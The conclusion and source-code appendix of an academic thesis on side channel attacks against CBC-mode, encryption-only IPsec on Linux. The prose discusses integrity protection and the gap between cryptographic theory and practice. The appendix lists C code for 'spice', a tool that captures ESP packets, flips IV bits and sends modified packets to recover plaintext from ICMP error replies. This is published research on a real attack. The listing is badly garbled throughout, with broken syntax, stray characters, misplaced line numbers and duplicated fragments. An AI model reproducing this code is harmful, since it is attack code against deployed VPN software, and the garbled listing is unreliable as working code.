A number of themes have emerged from the chapters of this thesis. Firstly, we have demonstrated, analytically and empirically, that side channel analysis is a practical and powerful method that can completely undermine the security of a cryptographic system, very often regardless of the strength of the encryption algorithm in place. We shall consider the causes of these vulnerabilities and what a protocol developer may learn from our experience.

Secondly, in performing the finding the cause of the security flaws, we have found ourselves standing at the intersection between theoretical and practical security. With the benefit of the perspectives from both sides, It became clear to us that there exists a gulf of understanding between cryptography theoreticians and protocol developers. In our case, the differences at various levels have coincided to lead to a serious security vulnerability. In cryptanalysis, the counterpart to cryptography, differences in theory and practice have once again surfaced in course of the development of attacks on IPsec.

We explore these themes in more details below.

7.1.1 Side channel attacks on CBC mode encryption based on Formatting Errors

We have shown that, in certain environments, encryption in CBC mode is susceptible to side channel attacks exploiting format correctness. A successful attack requires three conditions:

1. CBC mode encryption is used without integrity protection,

2. The plaintext follows a specified format,

3. Incorrectly formatted plaintexts cause the decrypting party to generate error messages. More generally, the decrypting party exhibits behaviour that can be used to distinguish between valid and invalid plaintexts.

Obviously, the developer of a cryptographic protocol can prevent format-based side channel attacks by ensuring the protocol fails to satisfy one or more of the above conditions. We make the case that avoiding the first condition, by always using integrity protection with encryption, is the most preferable option, as it prevents all attacks that rely on ciphertext modification, as used by error-inducing side channel attacks in this thesis. We
7.1 Uniting Themes

suspect that conditions 2 and 3 are difficult to avoid in a layered communication model such as TCP/IP, and thus strengthening the case for using integrity protection.

While using integrity-protected encryption should not present a problem in most applications, we agree with Mitchell [141] that there are circumstances where its use is impractical. These fall into one of the two categories:

- High bandwidth data transfer where integrity-protecting and validating individual ciphertexts would cause significant and unacceptable degrade to the transfer rate of the link.

- Applications where latency is of priority and some level of integrity loss is acceptable. These usually encompass the class of real-time transfer digitised analogue data including including video streaming and voice communications. This is especially true when the application runs on devices with limited processing and power capacity.

Mitchell suggested in [141] that a stream cipher would be a better choice than encrypting in CBC mode in these scenarios, as it is well-suited to high-bandwidth applications and less severely affected by data corruption. Moreover, a stream cipher is not susceptible to padding oracle attacks (as no padding was required), although it is not immune to other kinds of formatting error attacks.

It therefore appears that, depending on the application, the protocol developer is left with the choice of either using integrity-protected encryption or a stream cipher. We agree with Mitchell’s assessment that the emerging combined mode algorithms might offer performance advantage over a combination of CBC mode encryption and a separate MAC. Authenticated encryption modes also eliminated the risks due to an insecure combination of a block cipher and a MAC, as demonstrated by the SSL/TLS flaw [62].

In summary, Mitchell suggested that the logical choice for future cryptographic applications seems to lie between a combined mode algorithm or a stream cipher. For this reason, Mitchell came to the conclusion that “naive CBC encryption should never be used” except for legacy applications.

In our assessment, we compare this situation with the FIPS Data Encryption Standard (DES). Despite community (i.e. non-governmental) efforts that first successfully broke a DES cipher by brute-force back in 1997 (documented in [67]), the 56-bit key single DES algorithm [154] was not withdrawn by NIST until 2005. Even now, the Triple-DES algorithm continues to be a NIST recommendation [41] despite the standardisation of AES [155] in 2001, which is superior to Triple-DES in most respects.

Unlike 56-bit key DES, CBC mode is not fundamentally flawed. Now that insecure use of CBC mode encryption has received a level of attention, one might expect protocol developers to have been better informed and feel more confident about how CBC mode can be used securely. In contrast, while some combined mode algorithms seem to be well-designed and have been subject to public scrutiny, they may still be perceived as not yet “field proven” in the eyes of a developer.
7.2 Cryptography in Theory and Practice

For the reasons given above, our view is that given the conservative attitude of the cryptographic community towards proven cryptographic methods (and rightly so), there is likely to be a long transition period before we see the complete elimination of CBC mode encryption in use. We note that this view does not contradict that of Mitchell, but rather elaborates on it.

7.2 Cryptography in Theory and Practice

The research presented in this thesis illustrates the gap between theory and practice in two distinct ways, both in cryptography (keeping secrets) and cryptanalysis (breaking codes).

7.2.1 Cryptography

In cryptography, it is well-understood and long-established in the cryptographic research community that encryption without integrity protection is insecure. In allowing encryption-only configurations, we have seen how the said principle in the cryptographic research community has, in the hands of the IPsec committee, been relegated to being an optional configuration, albeit annotated with warnings about the insecurity of encryption-only modes. The Linux IPsec implementors duly followed the specifications in allowing encryption-only configurations. But without actionable consequences, those warnings were merely a distraction, or ignorable details.

An IPsec user might quite reasonably assume that encryption alone would at least provide confidentiality, if not authentication. But as we have seen, the user’s faith was misplaced — the message that might have enlightened the user was attenuated to an inaudible whisper whist on its journey to the user via the developer and the implementor.

Without presenting a full treatise on human behaviour (not least because we are hardly qualified to do so), it is probably safe to say that it would be beneficial to security for cryptographic theoreticians and practitioners to having a better understanding of each other’s motivations.

The issues above are explored more fully in our related published article [164].

7.2.2 Cryptanalysis

Vaudenay hypothesised in [191] that IPsec might be vulnerable to padding oracle attacks, but we found that it is far from straightforward in practice. As it turns out, the attacks’ success depends on how one interprets the RFC’s wording of padding check procedure, and how these are actually implemented in software. It may yet depend on the configuration on the platform on which IPsec is run. In the end, our effort in formulating a padding oracle attack on IPsec led to our discovery of a far more devastating security flaw.

Our experience documented in this thesis illustrates the differences between idealised attacks on cryptographic primitives, attacks on a protocol specification and attacks against a deployed implementation. A cryptanalytic attack that works in theory may fail in
practice, while practical flaws that are not anticipated in theoretical analysis might open
doors to far more powerful attacks.

7.3 Future Work

We expect the cryptographic research community to continue to advance its research on
combined mode algorithms, and to see their gradual adoption by more industry standards.
In a perfect world, all cryptographic communities — researchers, protocol and standard
developers, implementors, administrators and end users — would learn from previous
mistakes and work together to eliminate security flaws from system design to deployment.
In reality, of course, mistakes are not always learnt. This can be summarised by the often-
quoted saying by the philosopher George Santayana: *Those who fail to learn the lessons
of history are doomed to repeat them.*

Often, the effect of poor cryptographic design is exacerbated by standardisation. As a
case in point, the WEP protocol, first published in 1999, despite having been hopelessly
broken, is still in common use to this day. This leaves users who do not know that they
should migrate to the latest WPA standards exposed to attacks, some nine years after the
initial publication of attacks on WEP. Just as a lay person would not contemplate carrying
out electrical installations at home, and would instead employ the services of a qualified
electrician, it would be beneficial to all should the message of cryptographic design enjoy
a status that is more akin to that of household electrics — cryptography and security are
intricate and hard to get right. If it is not done right, the risks, often hidden, will one day
surface and many may will suffer the consequences.
Appendix A

Source Code Listing

We include here the C source code for spice, our implementation of plaintext-recovery attacks on encryption-only IPsec on Linux systems. The code also includes functions for attack benchmarking. The attack experiments are detailed in Section 6.6.

A.1 spice.h

```c
/* spice.h -- constants, data structures and function prototypes */

#ifndef _SPICE_H_
#define _SPICE_H_

#define MAXPACKETS 4096
#define CAPTURESIZE 65535
#define ESPHDRSIZE 8
#define ESPTRAILERSIZE 2
#define IVSIZE 64
#define BLOCKSIZE 64
#define IVSIZE_128 128
#define BLOCKSIZE_128 128
#define WORDSIZE 4
#define GNULINUX 0
#define WINDOWS 1
#define FLIPMASK_15 0x15
#define FLIPMASK_6 0x3
#define FLIPMASK_8 0x8
#define THREAD_ST_SLEEP 100000
#define VERBOSE 1

extern int max_icmpsize[2];
#define max_icmpsize[GNULINUX] = 576;
#define max_icmpsize[WINDOWS] = 60;

/* captured packet */
struct cap_packet {
  struct timeval time;
  int size;
  u_char *data;
};

/* 64-bit block */
struct block_64 {
  uint32_t first;
  uint32_t second;
};

/* 128-bit block */
struct block_128 {
  uint32_t first;
  uint32_t second;
  uint32_t third;
  uint32_t fourth;
};

typedef struct block_64 *blockptr_64;
typedef struct block_128 *blockptr_128;

typedef struct cap_packet *encpackets[MAXPACKETS]; /* encrypted packets */
typedef struct cap_packet *decpackets[MAXPACKETS]; /* decrypted packets */

extern struct cap_packet enc_sapkt, dec_sapkt;
```
A.2 spice.c

```c
#ifdef SPICE_H

/* common functions */
int open_rawsocket(int *sockdp, struct sockaddr *mysocketp, char *dstat);

/* options attacks */
int slow_attack_64(struct cappacket *pktptr, char *dstat);

/* protocol field attacks */
int proto_slow_128(struct cappacket *pktptr, char *dstat, int stat);
int proto_fast_attack_128(int target, struct cappacket *enc, struct cappacket *dec, struct cappacket *encapkt_p, struct cappacket *decsapkt_p, char *dstat);

/* dest addr rewriting attack */
int dest_attack_128(struct cappacket *pktptr, char *dstat);

#endif /* SPICE_H */

A.2 spice.c

/ * spice.c – the main() function */

#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/in.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip.h>
#include <netinet/ip.h>
#include <strings.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>
#include <time.h>
#include <pcap.h>
#include <cctype.h>
#include "spice.h"

#define FACTORED 1

int slow.ind;
int slow_size = 0;
int target = GNULINUX;

struct cappacket *encpackets[MAXPACKETS]; /* encrypted packets buffer */
struct cappacket *decpackets[MAXPACKETS]; /* decrypted packets buffer */
struct cappacket *encapkt_p, *decsapkt_p; /* encrypted and decrypted slow attack success packets */

struct threadparams {
    char *src;
    char *filename;
```
A.2 spice.c

```c
pcap_t *pcaph;

/* display decrypted packets on screen */
void dump_decrypted(int delay) {
    int i, j;
    u_char c;
    for (i=0; i<num_packets; i++) {
        printf("Content-tensor\ bombard (\%d)\n", i, decpackets[i]->size);
        printf("In hex:\n");
        for (j=0; j<decpackets[i]->size; j++) {
            c = decpackets[i]->data[j];
            printf("\%02X", c);
        }
        printf("\n\nASCII\n");
        for (j=0; j<decpackets[i]->size; j++) {
            c = decpackets[i]->data[j];
            printf("%c", (isprint(c) ? c : ' . '));
        }
        printf("\n\n");
    }

    void packet_rcv(u_char *user, const struct pcap_pkthdr *header, const u_char *packet)
    int i, ipacket_size;
    struct cap_packet *captured;
    u_char *pktdata;
    /* calculate ip packet size */
    ipacket_size = header->caplen - sizeof(struct eth_header);
    /* allocate memory for struct and packet data */
    //printf("malloc-ing...\n");
    captured = (struct cap_packet *)malloc(sizeof(struct cap_packet));
    pktdata = (u_char *)malloc(ipacket_size);
    //## check return values!
    /* copy fields */
    //printf("copying...\n");
    captured->time = header->ts;
    captured->size = ipacket_size;
    memcpy(pktdata, packet+sizeof(struct eth_header), ipacket_size); // ##check return value!
    captured->data = pktdata;
    /* store */
    printf("\n");
    encpackets[store_ind] = captured;
    printf("\nNum captured: %d\n", ++num_packets);
    //memcpy(#myheader, header, sizeof(struct pcap_pkthdr));
    //memcpy(#mypacket, packet+sizeof(struct eth_header), (header->caplen)-sizeof(struct eth_header));
    printf("\n\nCaptured_size: %d\n", encpackets[num_packets-1]->size);
    printf("\n\nCaptured_packet: %d\n", num_packets);
    for (i=0; i<enccpackets[num_packets-1]->size; i++) {
        printf("%02X", enccpackets[num_packets-1]->data[i]);
    }
    u_char c;
    printf("\n\nASCII\n");
    for (i=0; i<enccpackets[num_packets-1]->size; i++) {
        c = enccpackets[num_packets-1]->data[i];
        printf("%c", (isprint(c) ? c : ' . '));
    }
    printf("\n\n");
    /* update slow attack packet index*/
    if ( (slow_size < max ICMP size [target] && ipacket_size > slow_size) ||
        (ipacket_size > max ICMP size [target] && ipacket_size < slow_size) ) {
        slow_ind = store_ind;
        slow_size = ipacket_size;
    }
}
```
A.2 spice.c

```c
121 fprintf("Updated slow ind: %d\t slow size: %d\n", slow_ind, slow_size);
122 }
123 store_ind++;  
124 }
125
126 void* do_capture(void *p) {
127 pcap_t *handle;
128 char *dev = "eth0";
129 char *errmsg[PCAP_ERRBUF_SIZE];
130 struct bpf_program *filter;
131 char *filter_app[256] = " esp and src host ";
132 int num_received;
133 char *src, *filename;
134 bpf_u_int32 net, mask;
135 /* copy the params */
136 src = ((struct threadparams *)p)->src;
137 filename = ((struct threadparams *)p)->filename;
138 /* get net and mask filled in */
139 pcap_lookupnet(dev, &net, &mask, errmsg);
140 /* open device */
141 if (filename != NULL) {
142 printf(" Reading packets from file %s ...\n", filename);
143 handle = pcap_open_offline(filename, errmsg);
144 }
145 else
146 handle = pcap_open_live(dev, CAPTURESIZE, 1, 3000, errmsg);
147 /* returns the handle */
148 ((struct threadparams *)p)->pcaph = handle;
149 /* compile and set filter */
150 strcat(filter_app, src);
151 printf(" pcap filter: %s\n", filter_app);
152 if (pcap_compile(handle, &filter, filter_app, 0, net) < 0) {
153 perror(pcap_geterr(handle));
154 exit(-1);
155 }
156 if (pcap_setfilter(handle, &filter) < 0){
157 perror(pcap_geterr(handle));
158 exit(-1);
159 }
160 /* capture - passing the packet_rcv callback function pointer to pcap_loop/ num_received = pcap_loop(handle, 0, packet_rcv, NULL);
161 //printf("Num received: %d\n", num_received);
162 /* clean up */
163 pcap_close(handle);
164 return (void *)p;
165 }
166
170 void capture(char *src, char *filename) {
171 struct threadparams params;
172 int input;
173 pthread_t capthread;
174 /* set up params for thread creation */
175 params.src = src;
176 params.filename = filename;
177 printf(" Press ENTER to START packet capture ...");
178 input = getchar();
179 printf(" Starting thread ... ");
180 pthread_create(&capthread, NULL, do_capture, (void *)&params);
181 printf("done\n");
182 printf(" Press ENTER to STOP packet capture ...");
183 input = getchar_unlocked();
184 /* attempt to stop capture thread */
185 printf(" Stopping thread ... ");
```
pcap_breakloop (params.pcaph);
usleep(1000000);
pthread_cancel (capthread);
/* wait for thread to exit */
pthread_join (capthread, NULL);
/* close pcap handle */
//pcap_close (params.pcaph);
printf ("done
");
}

int opt_fast_attack_all_64 (char *dst) {
int pkt;
int count = 0;
printf ("Press ENTER to START fast phase . . . ");
getchar ();
for (pkt = 0; pkt < num_captured; pkt++) {
decpackets[pkt] = malloc (sizeof(struct cap_packet));
printf ("fast attack all : packet %d
", pkt);
if (fast_attack_64 (target, encpackets[pkt], decpackets[pkt], &enc sapkt, &dec sapkt, dst ))
count ++;
printf ("\n\n");
}
return count;
}

int opt_attack (int blocksize, char *dst) {
int success;
printf ("Press ENTER to START slow phase . . . ");
getchar ();

return 1;
}

int proto_stats (int blocksize, char *dst) {
int count = 0;
FILE *outfile = fopen ("proto_slow.out", "w");
time_t now = time ((time_t *)NULL);
int count;
fprintf (outfile, "Protocol slow attack stats:
# slow attacks 64 - number of queries:
# start: ", ctime (now));
int i;
for (i = 0; i < num_captured; i++) {
printf ("Slow attack :\n", i);
if ((count = proto_slow_128 (encpackets[i], dst, 1)) )
printf ("Something's wrong . . .\n");
break;
}
fprintf (outfile, "\n\n", count);
if (count > max) max = count;
if (count < min) min = count;
}
sum += count;
done++;
}
time_t now2 = time(NULL);
int lasted = now2 - now1;
printf("%s: Num: %d tMax: %d tMin: %d tSum: %d tAvg: %.4f min: %.2f s\n",
time(&now2), done, max, min, sum, (float)sum/(float)done, lasted / 60, lasted / 60);
printf(outfile, "# end: %s Num: %d tMax: %d tMin: %d tSum: %d tAvg: %.4f min: %.2f s\n",
time(&now2), done, max, min, sum, (float)sum/(float)done, lasted / 60, lasted / 60);
fclose(outfile);
return 1;
}
/∗ options attack performance statistics ∗/
int opt_stats(int blocksize, char *dst) {
printf("Options slow attack stats:\n");
FILE *outfile = fopen("spice.out", "a");
time_t now1 = time(NULL);
int count;
printf(outfile, "n\nslow attack 64 - number of queries: \nstart: \n" ,
ctime(&now1), done, max, min, sum, (float)sum/(float)done, lasted / 60, lasted / 60);
int i;
for (i = 0; i < numaptured; i++) {
    printf("Slow attack: \n");
    if (! (count = slow_attack_64(encpackets[i], dst))) {
        printf("Something's wrong... \n");
        break;
    }
    printf(outfile, "d\n", count);
}
time_t now2 = time(NULL);
int lasted = now2 - now1;
printf("%s: Num: %d tMax: %d tMin: %d tSum: %d tAvg: %.4f min: %.2f s\n",
time(&now2), numslow, maxslow, minslow, sumslow, sumslow/numslow, lasted / 60, lasted / 60);
printf(outfile, "# end: %s Num: %d tMax: %d tMin: %d tSum: %d tAvg: %.4f min: %.2f s\n",
time(&now2), numslow, maxslow, minslow, sumslow, sumslow/numslow, lasted / 60, lasted / 60);
fclose(outfile);
return 1;
}
int proto_fast_attack_all_128(char *dst) {
int pkt;
int count = 0;
printf("Press ENTER to START fast phase... ");
getchar();
for (pkt = 0; pkt < numaptured; pkt++) {
    decpackets[pkt] = malloc(sizeof(struct cap_packet));
    printf("Protocol fast attack packet %d\n", pkt);
    if (proto_fast_attack_128(target, encpackets[pkt], decpackets[pkt], &encapkt, &
decapkt, dst))
        count++;
    printf("\n\n");
}
return count;
}
/∗ protocol field attack (128-bit only) ∗/
int proto_attack(int blocksize, char *dst) {
int success;
if (blocksize == 128) {
    printf("Press ENTER to START slow phase...");
}
A.2 spice.c

```c
356  printf("Attac_packet_index\%d\n", slow_ind, slow_size);
357  getchar();
358  if ( protocol_s128 (encpackets [slow_ind], dat, 0) == 0) {
359    printf("Oops. Protocol attack\%d\n")
360    cleanup();
361    return 0;
362  }
363  if ( ( success = protocol_attacks ( dat ) ) )
364    dump_decrypted (50000);
365    return success;
366  }
367  
368  else {
369    return 0;
370  }
371  
372  /* destination address rewriting attack (128-bit only) */
373  int dest_attack (int blocksize, char *dst, char *target_dst) {
374    int success = 0;
375    
376    if ( blocksize == 128 ) {
377      printf("128-bit destination address rewriting attack...\n")
378      printf("Press ENTER to START")
379      getchar();
380      if ( ( success = dest_attack ( encpackets [0], dst ) ) == 0 ) {
381        printf("Oops. Destination address rewriting attack 128 failed\n")
382        cleanup();
383      }
384      return success;
385    } else {
386      printf("Oops. 64-bit destination address rewriting attack not yet implemented\n")
387      return success;
388    }
389  }
390  
391  int main (int argc, char *argv []) {
393    int blocksize;
394    
395    /* check input arguments */
396    printf("argc: %d\n", argc);
397    
398    if ( argc != 5 && argc != 6 ) {
399      printf("Usage: %s <src−ip> <dst−ip> <64|128> <o|p|s> [file] \n", argv [0] );
400        exit (0);
401    }
402    
403    src = argv[1]; // src address
404    dst = argv[2]; // dest address
405    blocksize = atoi(argv[3]);
406    field = argv[4][0]; // operation
407    
408    if ( blocksize != 64 && blocksize != 128 ) {
409      printf("Param error: block size must be either 64 or 128\n")
410        exit (0);
411    }
412    
413    switch ( field ) {
414      case 'o':
415      case 'p':
416      case 's':
417      case 't':
418      case 'd':
419        break;
420    default:
421      printf("Param error: field must be one of o (options), p (protocol), s (options slow−
422        stats) or d (protocol slow stats)\n")
423        exit (0);
424    }
425    } 
426    
427    /* capture packets */
428    if ( argc==3 )
429      capture(src, NULL);
430    else if ( argc==4 )
431      filename = argv[5];
432      capture(src, filename);
433  } 
434```

155
A.3 attacks.c

```c
if (num_captured == 0) {
    printf("Oops. No packets captured.\n" );
    cleanup();
    exit(0);
}

int ret;

/* perform attack according to params */
switch (field) {
  case 'o': /* IP options attack */
    ret = opt_attack (blocksize, dst);
    break;
  case 'p': /* protocol field attack */
    ret = proto_attack (blocksize, dst);
    break;
  case 's': /* options attack slow phase statistics */
    ret = opt_stats (blocksize, dst);
    break;
  case 't': /* protocol attack slow phase statistics */
    ret = proto_stats (blocksize, dst);
    break;
  case 'd': /* dest address rewriting attack */
    ret = dest_attack (blocksize, dst, NULL);
    break;
  default: prinf("Param error: field must be one of (options), (protocol), (options) slow stats or (protocol) slow stats\n");
    exit(0);
}

cleanup ();
return 1;
```

A.3 attacks.c

```c
/* attacks.c -- library functions for IP options attacks */

#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip.h>
#include <netinet/icmp.h>
#include <netinet/other.h>
#include <strings.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>
#include <time.h>
#include <pcap.h>

#include "spice.h"

int max_icmppsze [2] = (576, 60);
int num_captured = 0;
int icmp_captured = 0;
int store_id = 0;
int flipped_mask_64 = FLIPMASK_64;
int flipped_bits_64 = 6;
```
int flipmask_128 = FLIPMASK_8;
int flipped_h1_128 = 8;

/* slow attack statistics */
uint num_slow = 0, max_slow = 0, min_slow = 0xffffffff, sum_slow = 0;

inline int smaller(int a, int b) {
    return (a < b) ? a : b;
}

int open_rawsocket(int *sockd_p, struct sockaddr_in *mysocket_p, char *dst) {
    int on;
    /* open raw socket */
    if((*sockd_p = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
        perror("socket");
        return 0;
    }
    /* set socket option IP_HDRINCL */
    if(setsockopt(*sockd_p, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) {
        perror("setsockopt");
        return 0;
    }
    mysocket_p->sin_family = AF_INET;
    mysocket_p->sin_addr.s_addr = inet_addr(dst);
    return 1;
}

void icmp_rcv(u_char *user, const struct pcap_pkthdr *header, const u_char *packet) {
    icmp_packet_size; // struct cap_packet *captured;
    user *pktdata;
    /* set slow success flag */
    icmp_captured = 1;
    printf("## ICMP packet received !!##\n");
    /* calculate size of ip packet */
    ippacket_size = header->caplen - sizeof(struct ether_header);
    /* allocate memory for struct and packet data */
    // copied = (struct cap_packet *)malloc(sizeof(struct cap_packet));
    if(icmp_pkt.data != NULL) {
        free(icmp_pkt.data);
    }
    pktdata = (u_char *)malloc(ippacket_size);
    //## check return values!
    /* copy fields */
    // printf("copying ...
" );
    icmp_pkt.time = header->ts;
    icmp_pkt.size = ippacket_size;
    memcpy(pktdata, packet + sizeof(struct ether_header), ippacket_size); // ##check return value!
    icmp_pkt.data = pktdata;
    /* dump */
    printf("ICMP copied packet size: %d\n", icmp_pkt.size);
}

void *do_icmp_capture(void *p) {
    pcap_t *handle;
    char *dev = "eth0";
    char errbuf[PCAP_ERRBUF_SIZE];
    struct bpf_program filter;
    char filter_app[256] = "icmp [icmptype] \w=icmp-paramprob_and_src_host";
    int num_received;
    char *src;
    bpf_u_int32 net, mask;
    /* copy the param */
    src = (char *)p;
    /* get net and mask filled in */
    pcap_lookupnet(dev, &net, &mask, errbuf);
    /* open device */
A.3 attacks.c

handle = pcap_open_live(dev, CAPTURESIZE, 1, 0, errbuf);
if (handle==NULL)
    perror(pcap_geterr(handle));
    exit(-1);

// returns the handle */
//((struct threadparams *p)->pcaph = handle;

if (VERBOSE) {
    printf("pcap_filter(icmp) : \n", filter_app);
}
if (pcap_compile(handle, &filter, filter_app, 0, net) < 0) {
    perror(pcap_geterr(handle));
    exit(-1);
}
if (pcap_setfilter(handle, &filter) < 0){
    perror(pcap_geterr(handle));
    exit(-1);
}

// grab */
num_received = pcap_loop(handle, 1, icmp_rcv, NULL);

// clean up */
pcap_close(handle);
return NULL;

int do_slow_attack_64(struct pcap_packet *pktptr, char *dst, int lower, int upper, int delay, int interval, int *loop_count){
struct iphdr *outer, *inner; // outer / inner ip
//uint32_t spi, seq; // esp header info
struct sockaddr_in mysocket;
int send_size = pktptr->size;

pthread_t icmpthread;
open_rawsocket(&sockd, &mysocket, dst);

outer = (struct iphdr *) pktptr->data;
if (VERBOSE)
    printf("Outer IP version: %d, total_len: %d\n", outer->version, ntohs(outer->tot_len));

ptr = ((u_char *)outer) + sizeof(struct iphdr)); // points to spi
if (VERBOSE)
    printf("SPI: %d\n", ntohs(*seq));
ptr += 4; // points to seq no
seq = (*int *)ptr;
if (VERBOSE)
    printf("Seq No.: %d\n", ntohs(*seq));
pktptr->data = htons(*ptr);
for(i=0; i<IVSIZE/2; i++) { i++ {
    printf("%02X", ptr[i]);
}

ptr += 4; // points to IV
for(i=0; i<IVSIZE; i++) {
    printf("%02X", ptr[i]);
}

ptr += 4; // points to IV to flip inner ip */
inner = (struct iphdr *) ptr;
# A.3 attacks.c

```c
/* flip bits in to make header length > 5 (assuming 0x5)+
inner->ihl = flipmask_64;
printf("Modified:\t0x%08X\n");
for (i=0; i<IVSIZE_64; i++) {
    printf("%02X", ptr[i]);
}
printf("\n");

/* save the original (block before) dst ip */
bhalf_ptr = (uint32_t *)&ssizeof(struct iphdr) + ESPHDRSIZE + IVSIZE_64 +
sizeof(struct iphdr) - BLOCKSIZE_64);
bhalf = htonl(*bhalf_ptr);

/* start ICMP capture thread */
printf("Starting ICMP_capture_thread\n");
pthread_create(&icmpthread, NULL, do_icmp_capture, (void *)dt);
printf("Thread_id %d\n\n", (int)icmpthread);

/* sleep to let thread start */
sleep(THREAD_SLEEP);

printf("Original C2\tbottom_half: 0x%08X\n", bhalf);
for (i=lower; i<upper & !icmp_captured; i++) {
    // bhalf_ptr = htonl(bhalf - i); // flip bits
    bhalf_ptr = i; // set bottom half to i
    if ((i&interval) == 0) /* print every so many trials */
        printf("Sending bottom half xor %08X = %08X\n", i, htonl(*bhalf_ptr));
    printf("Sending\t\n");
    if (sendto(sockd, (char *)outer, sendsize, 0x0, (struct sockaddr *)&mysocket, sizeof(mysocket)) < 0) {
        perror("sendto");
        exit(-1);
    }
    usleep(delay);
}
/* be nice and close what you've opened*/
close(sockd);

/* cancel the thread */
pthread_cancel(icmpthread);

/* wait for thread to return */
pthread_join(icmpthread, NULL);

/* returns false if failed */
if (!icmp_captured)
    return icmp_captured;

/* return loop count */
if (loop_count != NULL)
    *loop_count = i;

/* copy success packet data */
// printf("Copying success attack packet\n");
enc_sapk.size = sendsize;
enc_sapk.data = (u_char *)malloc(sendsize);
memcpy(enc_sapk.data, outer, sendsize);

/* copy returned icmp */
// printf("Copying returned ICMP packet\n");
memcpy(&enc_sapk, icmp_pkt, sizeof(struct cap_packet));

/* restore IV */
inner->ihl = iphmask_64;

/* restore bottom half */
*half_ptr = htonl(bhalf);

/* print */
printf("Restored bottom half: 0x%08X\n", htonl(*half_ptr));

return icmp_captured;
}

int slow_attack_64(struct cap_packet *pktptr, char *dt) {
    int i, success;
    int count, start, end;
    uint32_t *bhalf_ptr;
```

/* first pass (fast) */
print("Slow attack \nFIRST_pass\(fast)\n\n");
success = do_slow_attack_64(pktptr, dat, 0x0, 0x14fff0, 200, 0xff0, &count);
if (!success) 
return success; 
print("First\nsuccess\nCOUNT: \n0x%02X\n\n" , count);
/* second pass (slow) */
start = count-10;
end = count+5;
print("\n\nSlow attack \nSECOND_pass\(slow)\n\n\n" , start, end);
icmp_captured = 0; // reset flag
success = do_slow_attack_64(pktptr, dat, start, end, 250000, 0x00, &count);
if (!success) 
return success; 
print("Second\nsuccess\nCOUNT: \n0x%02X\n\n" , count);
/* third pass (confirm) */
start = count-1;
end = count;
print("\n\nThird attack \nTHIRD_pass\(confirm)\n\n\n" , start, end);
icmp_captured = 0; // reset flag
success = do_slow_attack_64(pktptr, dat, start, end, 500000, 0x00, &count);
if (!success) 
return success; 
print("Third\nsuccess\nCOUNT: \n0x%02X\n\n" , count);
/* save the success half */
bhalf_ptr = (uint32_t *) (struct encapkt.data + sizeof(struct ihdr) + 8 + sizeof(struct ihdr));
+bhalf_ptr = count-1;
print("Success\n\ncopied\n\ncorrected\n\npacket\n\ncontent: \n\n");
for(i=0; i<encapkt.size; i++)
print("\n%02X\n\nencapkt.data[i] \n\n" , encapkt.data[i] );
print("\n" );
/* ### update stats */
icmp_captured = 0;
num_slow++; 
if (count > max_slow) max_slow = count;
if (count < min_slow) min_slow = count;
sum_slow += count;
return count;
}
/* fills dec->data (already malloc'ed) with decrypted blocks of enc */
int fast_attack_blocks_64(u_char * encptr, u_char * decptr, struct capacket * enccapkt, struct capacket * decapkt, int lower, int upper, int sock, struct sockaddr_in * mysocket, char * dst) { 
// enc points to IV
pthread_t icmphread;
//u_char *attack_pkt;
int i;
int numblocks = upper-lower+1;
int preamble_size = sizeof(struct ihdr) + ESHPDRIENT + IVSIZE_64 + flipped_h1_64+4;
int adata_size = preamble_size + numblocks+BLOCKSIZE_64; // attack data size
// int apktx_size = preamble_size + numblocks+BLOCKSIZE_64; // attack packet size
int apktx_size = enccapkt.size->size; // attack packet size
int pad_size = apktx_size - adata_size - 2*BLOCKSIZE_64;
struct 

/* make attack packet */
print("\nAttack\ndata\nsize: \n5d\t\n\npad\nsize: \n5d\t\n\npacket\nsize: \n5d\n" , adata_size, pad_size, apktx_size);
//attack_pkt = malloc(apktx_size);
/* set to zero */
memset(attack_pkt, 0x0, apktx_size);
/* copy preamble */
memcpy(attack_pkt , (void *) enccapkt.p->data, preamble_size);
A.3 attacks.c

/* copy encrypted data */
//print("preamble_size: %d\n", preamble_size);
memcpy(attack_pkt+preamble_size, encptr + BLOCKSIZE64+lower, numblocks+BLOCKSIZE64);

/* copy last two blocks (to preserve ESP trailer) */
memcpy(attack_pkt+apkt_size-2*BLOCKSIZE64, encapspkt_p->data + apkt_size - 2*BLOCKSIZE64,
2*BLOCKSIZE64);

/* dump */
if (VERBOSE)
    print("Attacked packet content:\n");
for (i=0; i<apkt_size; i++)
    print("\%02X", attack_pkt[i] );
print("\n");
}

/* start ICMP capture thread */
if (VERBOSE)
    print("Starting ICMP capture thread...\n");
pthread_create(&icmpthread, NULL, do_icmp_capture, (void *)dat);
// printf("Thread id \%d started\n", (int)icmpthread);

/* sleep to let thread start */
sleep(THREAD_S Sleep);

/* send attack packet */
print("Sending attack packet ...\n");
if (sendto(sockfd, attack_pkt, apkt_size, 0, (struct sockaddr *)mysocket_p, sizeof(*mysocket_p)) < 0 )
    perror("sendto");
    return 0;
}

pthread_join(icmpthread, NULL);

/* copy decrypted content */
unsigned char *to = decptr + (lower-1)*BLOCKSIZE64;
unsigned char *from = icmp_pkt.data + sizeof(struct icmphdr) + sizeof(struct icmphdr) + flipped_h1_64 + 4;
memcpy(to, from, numblocks+BLOCKSIZE64);

/* correct the first block */
if (VERBOSE)
    print("Fixing first block ...\n");
blockptr64 c3 = (blockptr64)(encapspkt_p->data + preamble_size - BLOCKSIZE64);
blockptr64 t1 = (blockptr64)to;
blockptr64 prev_blk = (blockptr64)(encptr + (lower-1)*BLOCKSIZE64);

\n-->
first = c3->first ; prev_blk->first :
extend = c3->second ; prev_blk->second ;

/* dump */
if (VERBOSE)
    print("Copied plaintext bytes: %\n", (unsigned int)to);
for (i=0; i<numblocks+BLOCKSIZE64; i++)
    print("\%02X", to[i] );
print("\n");
}

return 1;
}

int fast_attack_64(int target, struct cap_packet *enc, struct cap_packet *dec, struct cap_packet
